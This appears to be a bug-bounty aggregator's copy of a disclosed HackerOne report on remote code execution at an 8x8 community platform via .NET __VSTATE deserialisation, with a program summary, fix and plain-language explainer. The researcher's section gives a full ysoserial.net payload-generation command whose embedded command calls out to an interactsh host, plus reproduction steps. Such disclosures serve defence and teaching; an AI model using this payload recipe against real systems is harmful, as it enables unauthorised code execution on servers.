Skip to content
RCE Disclosed report Intermediate

Remote Code Execution on ██.8x8.com via .NET VSTATE Deserialization

A third-party community platform used by the site deserialised a user-supplied value in the __VSTATE parameter, allowing an attacker to run code on the server. The reporter confirmed this by generating a serialised payload that triggered an outbound DNS lookup.

0daystolive Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 2 hours
  • Fixed in 7 days
  • Disclosed after 3 months

Summary by the program

@0daystolive reported to us a flaw in a 3rd party community platform, which could be exploited to achieve RCE. We swiftly relayed this to the vendor and their engineering team turned off the affected code, which resolved the issue.

Summary by the researcher

For more details about this vulnerability read: https://blog.sorcery.ie/posts/higherlogic_rce

TLDR:

  1. Generate payload with ysoserial.net: ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0
  2. Insert payload into __VSTATE parameter on the page.
  3. Submit the form.
  4. A DNS request is observed on interactsh, confirming the RCE.

The original report as published on HackerOne, by 0daystolive. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application deserialised the untrusted __VSTATE form value with .NET's LosFormatter without validating its type, enabling gadget-chain code execution.

Impact

An attacker could execute arbitrary code on the community platform's server, though the vendor disabled the affected code to resolve it.

What the attacker needed

Access to the vulnerable form page

The fix

The vendor's engineering team turned off the affected code, which resolved the issue.

How it was found

  1. Generate a serialised payload with ysoserial.net using the LosFormatter format and a command that triggers an outbound lookup.
  2. Place the payload into the __VSTATE parameter on the page.
  3. Submit the form.
  4. Observe the DNS request on the interaction server, confirming code execution.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Some web pages send data back to the server in a packed format that the server unpacks (deserialises) to rebuild an object. If the server trusts whatever the user sends, an attacker can craft that packed data so that unpacking it runs their own commands. Here the packed value sat in a form field called __VSTATE, and the test payload simply made the server look up a hostname the attacker controlled, proving code ran.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by 0daystolive

View all

1 more disclosed report, best first.

More from 8x8

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.